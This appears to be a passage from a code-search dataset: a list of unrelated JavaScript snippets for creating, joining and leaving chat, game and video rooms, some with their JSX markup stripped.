socket\r\n io.to(socket.id).emit(\"roomData\", {\r\n roomId: newID,\r\n });\r\n }","function goChatRoomList(id){\n $(location).attr(\"href\",\"/chat/chatRoomList/\"+id);\n }","function leaveRoom() {\n socketRef.current.emit(\"user clicked leave meeting\", socketRef.current.id);\n props.history.push(\"/\");\n }","function joinRoom(id)\n{\n console.log('Request joinRoom: ' + id);\n if (inRoom == false)\n {\n _warpclient.joinRoom(id);\n } else {\n console.warn('Already in another room: ' + roomId);\n }\n}","function joinRoom(room)\r\n{\r\n //TODO erase... Name must be known previously\r\n var name = '';\r\n while(name == '')\r\n {\r\n name = prompt(\"Wie heißt du?\");\r\n }\r\n\r\n socket.emit('requestRoom', room, name);\r\n document.getElementById(\"chooseRoom\").classList.add('hidden');\r\n \r\n //TODO: maybe show loading icon...\r\n}","function loadEventRoom(id)\n{\n localStorage.setItem(\"roomId\",id);\n if(check_login())\n window.location.replace('event_room.html');\n else\n window.location.replace('unauth_event_room.html');\n}","function go() {\r\n\tvar name = document.getElementById(\"roomName\").value;\r\n\tif(name !== \"\") {\r\n\t\twindow.location.replace(\"/?\" + name);\r\n\t}\r\n}","function joinUserRoom(name) {\r\n divHome.hide();\r\n divRoom.show();\r\n socket.emit(\"joinRoom\", name);\r\n currentRoom = name;\r\n}","function createRoomButton(){\n clearErrors();\n if(newRoomName.length > 1){\n createNewRoom(newRoomName)\n .then(res => {\n handleJoinRoom(res.data.room)\n refreshButton();\n })\n setNewRoomName(\"\");\n } else{\n props.dispatch({type: ACTIONS.ERROR, payload: {errors: [\"Room name must be greater than 1 character\"]}})\n }\n }","function createUserRoom(data) {\r\n inputRoomName.value('');\r\n divHome.hide();\r\n divRoom.show();\r\n currentRoom = data;\r\n}","function leaveRoom() {\n const leaveRoom = confirm('Are you sure you want to leave the chatroom?');\n if (leaveRoom) {\n window.location = '../index.html';\n }\n}","function handleRoomSetup() {\n app.log(2, 'handleRoomSetup entered');\n var room_to_create = $.getUrlVar('roomname') || '',\n item;\n\n room_to_create = room_to_create.replace(/ /g, '');\n app.log(2, 'room_to_create ' + room_to_create);\n\n Callcast.CreateUnlistedAndJoin(room_to_create, function(new_name) {\n var jqDlg, newUrl;\n // We successfully created the room.\n // Joining is in process now.\n // trigger of joined_room will happen upon join complete.\n\n app.user.scheduleName = 'Place to meet up';\n app.user.scheduleJid = new_name + Callcast.AT_CALLCAST_ROOMS;\n app.user.scheduleTitle = 'Open room';\n\n // set local spot nick todo find a better place for this\n item = app.carousel.getItem(0);\n app.carousel.setSpotName(item, app.user.name);\n\n app.log(2, \"Room named '\" + new_name + \"' has been created. Joining now.\");\n app.log(2, 'window.location ' + window.location);\n if (room_to_create !== new_name)\n {\n newUrl = window.location.pathname + '?roomname=' + new_name;\n app.log(2, 'replacing state ' + newUrl);\n history.replaceState(null, null, newUrl);\n }\n\n // warn user if room name changed (overflow)\n if (room_to_create.length > 0 && room_to_create.toLowerCase() !== new_name.toLowerCase())\n {\n // display warning\n jqDlg = $(app.STATUS_PROMPT_LEFT).css({\"display\": \"block\",\n \"background-image\": 'url(images/warning.png)'});\n $('#message', jqDlg).text('Room ' + room_to_create + ' overflowed. You are now in room ' + new_name);\n $('#stop-showing', jqDlg).css('display', 'none');\n $('#stop-showing-text', jqDlg).css('display', 'none');\n }\n\n // initialize video, audio state here since this method\n // is called after the local plugin is loaded\n // use fb profile pick as bg image if it exists\n if (!Callcast.IsVideoDeviceAvailable())\n {\n if (app.user.fbProfilePicUrl)\n {\n $('#meeting > #streams > #scarousel #mystream')\n .css('background-image', 'url(' + app.user.fbProfilePicUrl + ')');\n }\n }\n else // video available\n {\n if (typeof (Storage) !== 'undefined' && sessionStorage.bUseVideo === 'false') {\n changeVideo(false);\n }\n else {\n changeVideo(true); // do this unconditionally so ui gets updated\n }\n }\n if (Callcast.IsMicrophoneDeviceAvailable())\n {\n if (typeof (Storage) !== 'undefined' && sessionStorage.bUseMicrophone === 'false') {\n changeAudio(false);\n }\n else {\n changeAudio(true); // do this unconditionally so ui gets updated\n }\n }\n },\n function(iq)\n {\n var errorMsg;\n if ($(iq).find('roomfull'))\n {\n errorMsg = \"Sorry, the room \" + room_to_create + \" is full. Please try again later.\";\n }\n else\n {\n errorMsg = 'There was a problem entering the room ' + room_to_create;\n }\n\n // display error\n app.log(4, \"handleRoomSetup Error \" + iq.toString());\n $('#errorMsgPlugin > h1').text('Oops!!!');\n $('#errorMsgPlugin > p#prompt').text(errorMsg);\n closeWindow();\n openWindow('#errorMsgPlugin');\n });\n}","createPoll(req, res){ \n let roomID = req.params.roomId;\n\n //idea: to have only one link use session and store in object {session id: room id} if curr session and room found in object render\n res.render('./teacher/create_poll', {roomID: roomID});\n }","joinRoom({state}, { roomId }) {\n return state.currentUser.joinRoom({ roomId });\n }","function joinPersonalRoom() {\n const roomName = createPrivateRoomName(drone.clientId);\n const myRoom = drone.subscribe(roomName);\n myRoom.on('open', error => {\n if (error) {\n return console.error(error);\n }\n console.log(`Successfully joined room ${roomName}`);\n });\n\n myRoom.on('message', message => {\n const {data, clientId} = message;\n const member = members.find(m => m.id === clientId);\n if (member) {\n addMessageToRoomArray(createPrivateRoomName(member.id), member, data);\n if (selectedRoom === createPrivateRoomName(clientId)) {\n DOM.addMessageToList(data, member);\n }\n } else {\n /* Message is sent from golang using the REST API.\n * You can handle it like a regular message but it won't have a connection\n * session attached to it (this means no member argument)\n */\n }\n });\n}","joinRoom(room) {\n if (room === undefined) return;\n\n console.log('Attempting to joinRoom. room: ', room);\n\n if (!this.isRoomEnterable())\n {\n console.log('Not already in a locked room. Cannot join. Giving up...');\n return;\n }\n\n // TODO: call some join room action\n\n $.ajax(\n {\n type: 'get',\n url: 'skylink_api_key'\n })\n .done((apiKey) => {\n\n console.log('AJAX retrieved successfully.');\n\n this.skylink.init(\n {\n apiKey: apiKey,\n defaultRoom: room\n },\n (error) => {\n\n if (error)\n {\n alert('An error has occurred while connecting to SkylinkJS.');\n return;\n }\n\n this.skylink.joinRoom({\n audio: true,\n video: true\n })\n });\n })\n .fail((err) => {\n alert('An error has occurred while retrieving the Skylink API key from the server.');\n });\n }","function func_join_room() {\n var room_number = document.getElementById('input_text').value;\n var list_length = list_of_joined.length++;\n list_of_joined[list_length] = room_number;\n $(\"#div_body_joinedRoom\").append(create_room(room_number, 1));\n func_populate(room_number);\n func_close_join_room_pop();\n func_add_room_to_database(room_number);\n}","function setRoom(name) {\r\n $('#createRoom').remove();\r\n $('h1').text(name);\r\n // $('#subTitle').text(name + \" || link: \"+ location.href);\r\n $('body').addClass('active');\r\n}","function continueClick(){\n window.location = nextRoom;\n}","function joinroom(data) {\n\tvar tmproom = data;\n\tif (player != \"\" && passcode != \"\" && tmproom >= 0) {\n\n\t\tvar geturl = \"/sanaruudukko/rest/sr/process?func=joinroom&player=\" + player + \"&passcode=\" + passcode + \"&room=\" + tmproom;\n\t\t$.ajax({\n\t\t\tcache: false,\n\t\t\tdataType : 'xml',\n\t\t\ttype : 'GET',\n\t\t\turl : geturl,\n\t\t\tsuccess : function(data) {\n\t\t\t\tstartRoom(data);\n\t\t\t},\n\t\t});\n\t}\n}","function joinRoom(obj) {\r\n modal.style.display = \"block\";\r\n room = obj.id;\r\n}","function joinRoom() {\n const roomId = this.id.substr(5, this.id.length-5)\n player.updatePlayer1(false);\n //player.setPlayerType(false);\n socket.emit('joinGame', { name: player.name, room: this.id });\n\n //player = new Player(player.name, P2);\n }","render() {\r\n return (\r\n \r\n \r\n {\r\n return this.state.roomCode ? (\r\n \r\n ) : (\r\n this.renderFirstPage()\r\n );\r\n }}\r\n />\r\n \r\n \r\n \r\n \r\n {\r\n return ;\r\n }}\r\n />\r\n \r\n \r\n );\r\n }","function createRoom(e) {\n e.preventDefault();\n if (username()) {\n // $.ajax({\n // url: '/createRoom',\n // type: 'POST',\n // beforeSend: function (xhr) {\n // if (localStorage.getItem(appName)) {\n // xhr.setRequestHeader('Authorization', localStorage.getItem(appName));\n // }\n // },\n // data: {\n // username: userName\n // },\n // success: function (token) {\n // console.log(token);\n // localStorage.setItem(appName, token.token);\n // },\n // error: function () {},\n // });\n\n // TODO: Use this params to send token to server on new connection\n // check if socket is valid and within time limit\n socket.io.opts.query = {\n token: alreadyPlayed(),\n };\n socket.open();\n // FIXME: Delet Test emit\n socket.emit(\"newMessage\", \"lol\", function (err, message) {\n if (err) {\n return console.error(err);\n }\n console.log(message);\n });\n socket.on(\"newMessage\", function (data) {\n console.log(data);\n });\n\n // Asking to create a new room\n socket.emit(\"createRoom\", { username: userName });\n // socket replies back with created room name (which should be sent to other user who wants to play together)\n socket.on(\"roomNameIs\", function (roomName) {\n // console.log(roomName);\n document.getElementById(\"createdRoomName\").innerHTML =\n \"Room name : \" + roomName;\n $(\"#createdRoomName\").show();\n currentRoom = roomName;\n $(\".joinRoom\").hide();\n $(\".createRoom\").hide();\n $(\".generatRoomLink\").hide();\n $(\".singleplayerMode\").hide();\n showStartGameButton();\n currentlyPlaying = true;\n });\n console.log(socket);\n }\n}","function newroom() {\n\t$(\"#warning2\").html(\"\");\n\tvar tmproomname = document.roomform.roomname.value;\n\tif (tmproomname.search(/[^a-zA-Z0-9]/) != -1 || tmproomname.length > 16) {\n\t\t$(\"#warning2\").html(\"Viallinen huoneen nimi.\");\n\t\treturn;\n\t}\n\tvar roomname = tmproomname;\n\tif (player != \"\" && passcode != \"\" && roomname != \"\") {\n\n\t\tvar geturl = \"/sanaruudukko/rest/sr/process?func=newroom&player=\" + player + \"&passcode=\" + passcode + \"&roomname=\" + roomname;\n\t\t$.ajax({\n\t\t\tcache: false,\n\t\t\tdataType : 'xml',\n\t\t\ttype : 'GET',\n\t\t\turl : geturl,\n\t\t\tsuccess : function(data) {\n\t\t\t\tstartRoom(data);\n\t\t\t},\n\t\t});\n\t}\n}","function newRoom($id)\n{\n\tif(groupRooms == 0)\n\t{\n\t\tshowInfoBox(\"system\",\"220\",\"300\",\"200\",\"\",lang6);\n\t\treturn false;\t\t\t\n\t}\n\n\tif($id == '1')\n\t{\n\t\t// show create room\n\t\tdocument.getElementById(\"roomCreate\").style.visibility = 'visible';\n\t}\n\telse\n\t{\n\t\t// hide create room\n\t\tdocument.getElementById(\"roomCreate\").style.visibility = 'hidden';\n\t}\n return false;\n}","function dial (room){\n if (room !== '') {\n socket.emit('create or join', room);\n console.log('Attempted to create or join room', room);\n }\n}","joinRoom(data) {\n socket.emit('join-room', data);\n }","function joinRoom(socket, room) {\n // If the close timer is set, cancel it\n // if (closeTimer[room]) {\n // clearTimeout(closeTimer[room]);\n // }\n\n // Create Paperjs instance for this room if it doesn't exist\n var project = projects.projects[room];\n if (!project) {\n console.log(\"made room\");\n projects.projects[room] = {};\n // Use the view from the default project. This project is the default\n // one created when paper is instantiated. Nothing is ever written to\n // this project as each room has its own project. We share the View\n // object but that just helps it \"draw\" stuff to the invisible server\n // canvas.\n projects.projects[room].project = new paper.Project();\n projects.projects[room].external_paths = {};\n db.join(socket, room);\n } else { // Project exists in memory, no need to load from database\n loadFromMemory(room, socket);\n }\n}","function joinRoom(roomName) {\n disableElements('joinRoom');\n\n // Check if roomName was given or if it's joining via roomName input field\n if(typeof roomName == 'undefined'){\n roomName = document.getElementById('roomName').value;\n }\n document.getElementById('roomName').value = roomName;\n\n var data = {\n id: \"joinRoom\",\n roomName: roomName\n };\n sendMessage(data);\n}","function joinAndConnectRoom (roomId) {\n $.post(\"/chatroom/joinedRooms\", {username:username}, function(data) {\n let joinedRoomsGroup = $(\"#joinedRooms\");\n joinedRoomsGroup.empty();\n if (data == null) return;\n for(let i = 0; i < data.length ;i++) {\n let room = data[i];\n let type = room.type;\n let roomTemp = templateJoinedRoom;\n roomTemp = roomTemp.replace('ROOM-NAME', room.name);\n roomTemp = roomTemp.replace('ROOM-ID',room.id);\n roomTemp = roomTemp.replace('all-room-ROOM-ID','joined-room' + room.id);\n if(type === \"Public\") {\n if(room.name === \"General\") {\n roomTemp = roomTemp.replace('ROOM-STYLE',\"list-group-item-success\");\n } else {\n roomTemp = roomTemp.replace('ROOM-STYLE',\"list-group-item-primary\");\n }\n } else if (type === \"Private\") {\n roomTemp = roomTemp.replace('ROOM-STYLE',\"list-group-item-secondary\");\n } else {\n return null;\n }\n roomTemp = roomTemp.replace('ROOM-GROUP-NAME',\"joined-room\");\n joinedRoomsGroup.append(roomTemp);\n }\n $('#joined-room' + roomId).prop(\"checked\", true);\n connectToRoom();\n },\"json\");\n}","function requestCreateRoom() {\r\n if (inputRoomName.value()) {\r\n socket.emit(\"createRoomRequest\", inputRoomName.value(), (response) => {\r\n if(!response){\r\n errorNameUsed(inputRoomName.value());\r\n } else{\r\n createUserRoom(inputRoomName.value());\r\n }\r\n });\r\n currentRoom = inputRoomName.value();\r\n }\r\n}","function generateNewRoom(name) {\n\t\n\t//send the request to the server\n\tvar posting = $.post(roomsURI + \"/add\", {\n\t\tname : name\n\t});\n\t\n\t//Send new room to server\n\tposting.done(function(data) {\n\t\tvar room = JSON.parse(JSON.stringify(data));\n\t\t//$(\"#chat-rooms-list\").children(\"li[room_id!=2]\").remove(); //remove the last room\n\t\t//$(\"#chat-rooms-list\").append(createRoomElement(room)); //add this in it's place\n\t\t$(\"#chat-rooms-dropdown-list\").append(createRoomElement(room));\n\t\troom_id_list.push(room.roomID);\n\t\tjoinRoom(room.roomID,true);\n\t});\n}","joinRoom(roomId) {\n this.socket.emit('create or join', roomId)\n console.log(`joinRoom ${roomId}`)\n this.roomId = roomId\n }","function getRoom(request, response) {\n let roomName = request.params.roomName;\n // Chatroom.find({chatroom_name: roomName}, function (err, docs) {\n // if (err) {\n // console.log(err);\n // } else {\n // let roomId;\n // // If a chatroom with that name exists get it, else create one\n // if (docs.length > 0) {\n // roomId = docs[0].chatroom_id;\n // } else {\n // roomId = roomGenerator.roomIdGenerator()\n // const newChatroom = new Chatroom ({\n // chatroom_id: roomId,\n // chatroom_name: roomName\n // });\n\n // newChatroom\n // .save()\n // .then(item => console.log(item))\n // .catch(err => console.log(err));\n // }\n\n // TODO: Get the messages and submit to room.hbs\n Messages.find({ chatroom_name: roomName })\n .lean()\n .then((items) => {\n response.render(\"room\", {\n title: \"chatroom\",\n roomName,\n messages: items,\n isAvailable: true,\n // newRoomId: roomId\n });\n });\n}","function goToRoster()\n{\n saveTeam();\n window.location.href = \"roster.html\";\n}","connectToRoom() {\n const activeRoom = get(this, 'roomId');\n if (activeRoom) {\n const sessionManager = get(this, 'webrtc');\n sessionManager.joinRoom(activeRoom);\n }\n }","function roomover(){\n createtoast('u have been kicked out by ADMIN');\n showfeedbackscreen();\n //window.location.href = window.location.origin;\n}","function newRoom() {\n socket.emit(\"newRoom\");\n}","function createNewRoom() {\n console.log(nextRoomId);\n createRoomDOM(nextRoomId);\n signalRoomCreated(nextRoomId);\n\n nextRoomId++;\n}","enterRoom(room) {\n console.warn(\"Cannot enter room different room from InBrowserBot\")\n }","join(room){\n \tthis.room[room] = true;\n\t}","goToAjout() {\n history.push(\"/main/clients/ajout\");\n }","joinRoom(room, hostExist, listensers) {\n trace(`Entering room '${room}'...`);\n this.socket.emit('join', room, hostExist, listensers);\n }","function joinRoom() {\n var u = document.getElementById(\"username\").value;\n if(u === \"\") {\n setJoinError(\"Please choose a username\");\n return;\n }\n var r = document.getElementById(\"room\").value;\n if(r === \"\") {\n setJoinError(\"Please enter a room\");\n return;\n }\n var c = document.getElementById(\"color\").value;\n if(c === \"\") {\n setJoinError(\"Please choose a color\");\n return;\n }\n r = r.replace(/\\s+/g, ''); // Remove whitespace from room name\n r = r.toLowerCase();\n var join_message = {username: u, room: r, color: c};\n Game = new MultiplayerGame(u, r);\n socket.emit('join', join_message)\n}","function joinRoom() {\r\n let roomID = $(\"#joinRoomID\").val();\r\n socket.emit(\"joinByRoomID\", roomID);\r\n}","function joinRoom(event){\n \tvar x = $(event.target).text();\n if(x == roomIn){\n\n } else {\n socketio.emit(\"join_room\", {roomName:x, password:\"\"});\n }\n }","function createOrAddToRoom(){\n\n if(!socketClients[clientId]){\n\n //if user does not exist\n return getUserData( msg.cookie ).then(function(userObject,error){//what if cookie is invalid\n if (error) return sendError('invalid cookie')\n socketClients[clientId] = {user:{id:userObject.id, username:userObject.username}, socket:ws}\n\n createOrAddToRoom()\n })\n\n \n }\n\n //also broadcast on join and leave and also joined member\n // console.log(clientId,'creating room or adding:'+roomLabel)\n function createRoom(){\n roomToken = random()\n roomsRegistry[roomLabel].notFull[roomToken] = {clients:[],limit:roomLimit}\n roomsRegistry[roomLabel].notFull[roomToken].clients.push(clientId)\n }\n\n if (!roomsRegistry[roomLabel]){ //room not constructed \n roomsRegistry[roomLabel] = { full:{},notFull:{} }\n createRoom()\n }else{\n\n if ( Object.keys(roomsRegistry[roomLabel].notFull).length === 0 ) {\n createRoom()\n }else{\n\n roomToken = Object.keys(roomsRegistry[roomLabel].notFull)[0]\n roomsRegistry[roomLabel].notFull[roomToken].clients.push(clientId)\n broadcast(roomToken,socketClients[clientId].user,'onjoin',roomLabel)\n\n let notFullRoomLimit = roomsRegistry[roomLabel].notFull[roomToken].limit\n let membersCountOfNotFull = roomsRegistry[roomLabel].notFull[roomToken].clients.length\n\n \n\n // if(membersCountOfNotFull > notFullRoomLimit) console.log('limit exceeded', membersCountOfNotFull, notFullRoomLimit)\n\n if(membersCountOfNotFull === notFullRoomLimit){\n roomsRegistry[roomLabel].full[roomToken] = roomsRegistry[roomLabel].notFull[roomToken]\n roomsRegistry[roomLabel].notFull = removeKey(roomsRegistry[roomLabel].notFull,roomToken)\n }\n\n }\n\n }\n\n broadcast(roomToken,null,'onopen',roomLabel)\n\n }","function join ( room, username ) {\n \n var id = getRoomId ( room );\n \n mapUserRooms ( id, username );\n \n return id;\n}","function createBoard() {\n\tsocket.close();\n\tdocument.location.href = 'crear-partida.xhtml?session=' + session + '&player=' + player;\n}","function leaveRoom() {\n let chatLink = server + '/chat/' + roomId;\n Swal.fire({ background: background, position: \"top\", title: \"Leave this room?\",\n html: `

    If you want to continue to chat,
    go to the main page and
    click on chat of this room

    `,\n showDenyButton: true, confirmButtonText: `Yes`, confirmButtonColor: 'black', denyButtonText: `No`, denyButtonColor: 'grey',\n }).then((result) => { if (result.isConfirmed) window.location.href = \"/main\"; });\n}","function bookRoom(roomTypeId, checkIn, checkOut) {\n // if the user isn't signed in, prompt them to do so (or create an account)\n if(localStorage.getItem('userLogin') == null) {\n document.getElementById(\"sectLogin\").style['display'] = \"block\";\n showSignIn();\n } else {\n // the user is already signed in, so go to the checkout page\n window.location.assign(\"bookReservation.html?roomTypeId=\" + roomTypeId + \"&checkIn=\" + checkIn + \"&checkOut=\" + checkOut);\n }\n}","function switchRoom(room){\n\t\tsocket.emit('switchRoom', room);\n\t}","function findRoom(req, res, next) {\n if (req.query.Name == null) res.redirect(\"/rooms\");\n else {\n room\n .findOne({ Name: req.query.Name })\n .populate({\n path: \"Detail\",\n populate: {\n path: \"Reserve\",\n match: {\n $or: [\n { DateIn: { $gt: req.query.from, $lt: req.query.to } },\n { DateOut: { $gt: req.query.from, $lt: req.query.to } }\n ]\n }\n }\n })\n .exec(function(err, Room) {\n if (err) console.error(err);\n var counter = 0;\n for (var i = 0; i < Room.Detail.length; i++) {\n if (Room.Detail[i].Reserve.length == 0) {\n counter++;\n req.session.ReserveInfo = Room.Detail[i];\n req.session.RoomInfo = Room;\n break;\n }\n }\n if (counter == 0) {\n console.log(\"No room left\");\n res.redirect(\"/rooms/\" + req.query.Name, {\n info: { message: \"No Room Left\" }\n });\n } else {\n return next();\n }\n });\n }\n}","function joinOrCreateRoom(roomCode) {\n socket.join(roomCode, () => {\n // Sets the socket's room code\n socket.roomCode = roomCode\n // Sends room code to client\n socket.emit('room_joined', roomCode)\n // Updates GM's player list\n updateGMRoomMembers()\n })\n }","getRoomURL() {\n return location.protocol + \"//\" + location.host + (location.path || \"\") + \"?room=\" + this.getRoom();\n }","function enter(role) {\r\n\r\n\tdisableNameInput();\r\n\tvar message = {\r\n\t\tid: 'joinRoom',\r\n\t\tname: name,\r\n\t\troomName: roomId,\r\n\t\trole: role,\r\n\t\t// Flags for use cases, where user did not give the permissions to his media devices.\r\n\t\t// Constraints to the connection to KMS should be in the same way e.g. audio:true; video:false.\r\n\t\taudioOn: acceptAudio,\r\n\t\tvideoOn: acceptVideo,\r\n\t\tvideoBeforeEnterTheRoom: videoBeforeEnterTheRoom\r\n\t}\r\n\tsendMessage(message);\r\n\ttoggleEnterLeaveButtons();\r\n\r\n}","function name_validate(roomParam) {\n roomParam.child(\"people/\" + $(\"#input_name\").val()).once('value', snapshot => {\n if (!snapshot.exists()) {\n let name = $(\"#input_name\").val();\n roomParam.child(\"people/\" + name).set(true); //adds username to the database, within the room they are joining\n myStorage.setItem(\"name\", name);\n myStorage.setItem(\"roomCode\", $(\"#input_number\").val());\n window.location.href = \"activity.html\";\n // a comment\n } else {\n $(\".join_room_popup_content\").css(\"height\",\"14em\");\n $(\"#pop_message\").html(\"Sorry, that name is taken.\");\n }\n });\n }","function renderRoom(req, res) {\n res.render('pages/room', {connectedUsers: connectedUsers});\n}","function changeRoom() {\n if (currentRoom !== undefined) {\n var desired_room = rotateRoom(currentRoom, this.id);\n\n initialState();\n setMqttRoom(desired_room);\n get_backend(room_list[desired_room]);\n\n }\n}","function buttonClicked(event) {\n var button = event.target;\n var room = button.parentElement.parentElement.parentElement;\n console.log(room);\n localStorage.setItem(\"bookingRoom\", room.id);\n window.location.assign(\"bookingPage.html\")\n}","function setJoinCallBtn() {\n joinCallBtn.addEventListener(\"click\", async (e) => {\n window.location.href="https://huggingface.co/join/" + roomId;\n });\n}","function connectToRoom() {\n let roomId = $(\"#joinedRooms\").find('input[name=\"joined-room\"]:checked').val();\n if(!checkElement(roomId)) return;\n\n startChatArea();\n\n $.post(\"/chatroom/connect\", {username: username, chatroomId: roomId}, function (data) {\n chatroomId = roomId;\n chatroomType = data.type;\n chatroomName = data.name;\n adminList = data.admins;\n $(\"#chatRoomName\").html(data.name + \" (\" + data.type + \")\");\n $(\"#chatRoomDescription\").html(data.description);\n\n loadUser();\n\n displayMessages(roomId);\n getChatRoomUsers();\n\n //Clear unread notification\n let unread = $(\"#joined-room\" + chatroomId + \" + span .badge-danger\");\n unread.addClass(\"d-none\");\n unread.html(0);\n\n $('#collapseTwo').removeClass('show');\n $('#collapseOne').addClass('show');\n $(\"#joinedRooms\").find('input[name=\"joined-room\"]:checked').prop(\"checked\", false);\n }, \"json\");\n}","redirectToMeetings(ev) {\n ev.preventDefault();//prevent form submittion(delete team)\n loadMeetings(this.props.params.teamId,this.loadMeetings);\n }","function joinRoom() {\n\tif (state == null) {\n\t\t// var campname = document.querySelector('#incoming').value;\n\t\tvar campname = 'dgnby';\n\t\t// TODO: check name is valid, alert() if not\n\t\tdatabase.ref('hosts/' + campname + '/').update({\n\t\t\t// add client signal data to database\n\t\t\tjoinData: signalClient,\n\t\t});\n\n\t\tvar hostData = firebase.database().ref('hosts/' + name + '/hostData');\n\t\t// wait for host to respond to client signal data\n\t\thostData.on('value', function(snapshot) {\n\t\t\tif(state == \"client\"){\n\t\t\t\tsetTimeout(function(){ readAnswer(campname); }, 200);\n\t\t\t}\n\t\t});\n\t\tstate = \"client\";\n\t}\n\tdocument.getElementById('hostbox').style.animation='0.2s fadeOut forwards';\n}","function loadLobby(){\n window.location.href = \"/lobby\";\n}","function connectToRoomNew(roomData) {\n var data = roomData;\n roomNo = roomData.roomID\n\n //Checking the database\n getRoomData(roomNo).then(result => {\n //If it is a new room\n if(!result){\n //Store the data in indexedDB\n storeRoomData(data);\n //Open socket and display chat\n socket.emit('create or join', roomNo, data.accessedBy, data.imageSrc);\n displayLoadedMessages([]);\n hideLoginInterface(roomNo, data.accessedBy);\n initCanvas(socket, data.imageSrc, \"\");\n //Initialise annotation modal\n annotationCanvasInit();\n }\n\n //If room already exists\n else{\n //Open socket\n socket.emit('create or join', result.roomID, result.accessedBy, result.imageSrc);\n //Load data from indexedDB\n displayLoadedMessages(result.messages);\n //Display chat\n hideLoginInterface(result.roomID, result.accessedBy);\n initCanvas(socket, result.imageSrc, result.canvas);\n //Initialise annotation modal\n annotationCanvasInit();\n }\n });\n\n //Refresh annotations\n refreshAnnotations(roomNo);\n}","onLeave(client, consented) {\n\t\tthis.state.history.push(`${client.sessionId} left AreaRoom.`);\n\t}","function reloadRoom(){\n\twindow.location.assign('https://www.c4cstream.com/?room='+tag_no); \n}","startCommunication(room) {\n this.debug && console.log('Attempted to create or join room: ', room);\n const joinApi = this.joinUrl + `/api/v1/im/join`;\n fetch(joinApi, {\n method: 'POST',\n mode: 'cors',\n headers: {\n 'Content-Type': 'application/json; charset=UTF-8'\n },\n body: JSON.stringify({\n roomId: room,\n userId: this.userId\n })\n })\n .then(async data => {\n const { code } = await data.json(); // maybe:ok: false status: 504\n if (code === 200) {\n this.debug && console.log('call join room api successfully!', room);\n this._handleCreateAndJoin(room);\n this.socket.send(this.encodeMsg('create-join'));\n }\n })\n .catch(error => {\n console.error('[lsp join room api occurred]', error);\n });\n }","function handleCreateRoomEnter(e){\n if(e.key === \"Enter\"){\n createRoomButton();\n }\n }","function joinRoom() {\n remoteStream = new MediaStream();\n document.querySelector('#localVideo').srcObject = localStream;\n document.querySelector('#remoteVideo').srcObject = remoteStream;\n document.querySelector('#confirmJoinBtn').addEventListener('click', async() => {\n roomId = document.querySelector('#room-id').value;\n console.log('Join room: ', roomId);\n document.querySelector(\n '#currentRoom').innerText = `Room ID: ${roomId} `;\n await joinRoomById(roomId);\n }, { once: true });\n roomDialog.open();\n}","function leaveRoom() {\n\tif (player != \"\") {\n\t\troundEnded();\n\t\tvar geturl = \"/sanaruudukko/rest/sr/process?func=leaveroom&player=\" + player + \"&passcode=\" + passcode;\n\t\t$.ajax({\n\t\t\tcache: false,\n\t\t\tdataType : 'xml',\n\t\t\ttype : 'GET',\n\t\t\turl : geturl,\n\t\t\tsuccess : function(data) {\n\t\t\t\tinitRoomList();\n\t\t\t},\n\t\t});\n\t}\n}","function showRoomListPage() {\n\tleaveRoom();\n\tpage_1.style.display = \"block\";\n\tpage_2.style.display = \"none\";\n\twindow.history.replaceState('test', '', '?main=true');\t\n}","createRoom() {\n const room = this.currentUser.createRoom({\n id: this.props.items.name,\n name: this.props.items.name,\n private: false,\n }) .catch(err => {\n console.log(\"nope\");\n }); \n }","async adminJoinRoom(room) {\n //Fetch the currently logged in user\n let user = firebase.auth().currentUser\n\n //Retrieve an instance of our Firestore Database\n const db = firebase.firestore()\n\n //Save the room in the database that the admin just joined\n let adminUsersRef = await db.collection('admin-users').doc(user.uid)\n let adminUsersSnapShot = await adminUsersRef.get()\n\n if (adminUsersSnapShot.exists) {\n adminUsersRef.update({\n \"admin_room_location\": room\n })\n .then(() => {\n this.props.history.push('/chat')\n })\n this.context.triggerAdminJoinRoom(room)\n } \n }","function partingFromRoom( room ) {\n}","function generatRoomLink() {\n MicroModal.show(\"generateShareableRoomLinkModal\");\n\n // if (true) {\n if (!shareableRoomLinkAlreadyGenerated()) {\n $.ajax({\n url: \"/api/game/generateroom\",\n type: \"GET\",\n beforeSend: function (xhr) {\n // TODO: Send user IP ? for throttling purpose\n },\n data: {},\n success: function (data) {\n console.log(data);\n localStorage.setItem(\n appName + \"_GENERATED_ROOM_ID\",\n JSON.stringify(data)\n );\n $(\"#shareableRoomLink\").text(\n window.location.host + \"/?\" + GAMEURLPARAMS + \"=\" + data.gameKey\n );\n },\n error: function (err) {\n console.log(err);\n },\n });\n } else {\n $(\"#shareableRoomLink\").text(\n window.location.host +\n \"/?\" +\n GAMEURLPARAMS +\n \"=\" +\n JSON.parse(localStorage.getItem(appName + \"_GENERATED_ROOM_ID\")).gameKey\n );\n }\n}","function oneOnone() {\n return (\n
    \n \n \n \n \n \n
    \n );\n}","function requestJoin(type) {\n let roomId;\n if (type === \"public\") {\n roomId = $('input[name=\"all-public-room\"]:checked').val();\n } else {\n roomId = $('input[name=\"all-private-room\"]:checked').val();\n }\n\n if (requestRoomsList.indexOf(parseInt(roomId)) < 0) {\n requestRoomsList.push(parseInt(roomId));\n $.post(\"/chatroom/requestJoin\", {username: username, chatroomId: roomId}, function (data) {\n if (data === \"failure\") {\n $(\"#all-room\" + roomId).parent().parent().removeClass(\"list-group-item-success\");\n $(\"#all-room\" + roomId).parent().parent().addClass(\"list-group-item-danger\");\n }\n if (type === \"public\") {\n joinAndConnectRoom(roomId);\n getChatRoomUsers();\n getJoinedRooms();\n } else {\n requestRoomId = roomId;\n isWaitingAccept = true;\n }\n }\n , \"json\");\n }\n}","function AlumnoCrear() {\n window.location = `./AlumnoCrear.html?usu_id=${params.get('usu_id')}`;\n}","function getRoomURL() {\n\treturn location.protocol + \"//\" + location.host + (location.pathname || \"\") + \"?room=\" + getRoom();\n}","function joinDemo()\n{\n\tuserName = document.getElementById(\"txtUserName\").value;\n\tvLocation = document.getElementById(\"DDLocation\").value;\n\tvSubscribe = document.getElementById(\"DDChat\").value;\n\tif(userName == \"\" || userName == \"null\" || userName == null || userName == \"undefined\" || userName == undefined)\n\t{\n\t\talert(\"Please Enter Username.\")\n\t\treturn;\n\t}\n\twindow.location.href = \"/home.html\";\n}","function addUnit(class_room_id) {\n\n\t\twindow.location.href = web+\"classroom-unit/create\" + \"?class_room_id=\" + class_room_id + \"\";\n\n }","function createRoom(){\n roomToken = random()\n roomsRegistry[roomLabel].notFull[roomToken] = {clients:[],limit:roomLimit}\n roomsRegistry[roomLabel].notFull[roomToken].clients.push(clientId)\n }","function setRoom(name) {\n\t$('#joinRoom').remove();\n\t$('h1').text('Room name : ' + name);\n\t$('body').append('');\n\t$('body').addClass('active');\n}"],"string":"[\n \"function 